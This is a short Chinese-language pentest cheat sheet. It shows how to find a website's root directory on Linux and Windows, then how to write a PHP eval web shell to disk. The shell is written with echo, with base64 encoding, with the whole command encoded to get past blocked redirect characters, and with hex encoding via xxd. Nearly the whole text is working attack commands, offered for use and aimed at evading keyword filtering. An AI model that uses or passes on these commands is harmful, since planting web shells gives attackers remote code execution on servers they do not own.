尋找web的路徑
linux:
find / -name index.php
find / -name index.*
windows:
for /r d:/ %i in (index.php) do @echo %i
for /r d:/ %i in (index.*) do @echo %i
( 2 ) 源碼查找法
查看web頁面的源碼,找一段特征明顯的源碼進行查找
linux:
find / -name "*.*" | xargs grep "PHP installed properly"
find /var/www/ -name "*.php" | xargs grep "doServerTest()"
windows:
findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
findstr /s/i/n /d:C:\windows\ /c:"success" *.*
寫入webshell
( 1 ) echo直接寫入
echo '<?php eval($_POST[1]); ?>' > 1.php
一般寫入都會失敗,關鍵字會被屏蔽
( 2 ) base64寫入
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
一般比較通用。
( 3 ) 繞過重定向符號 (將整體命令進行編碼)
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
( 4 ) 使用wget進行遠程下載文件
( 5 )使用hex進行寫入
生成十六進制的字符串 (-ps)
echo '<?php eval($_POST[1]); ?>' |xxd -ps
將字符串還原為命令 (-r -ps)
echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php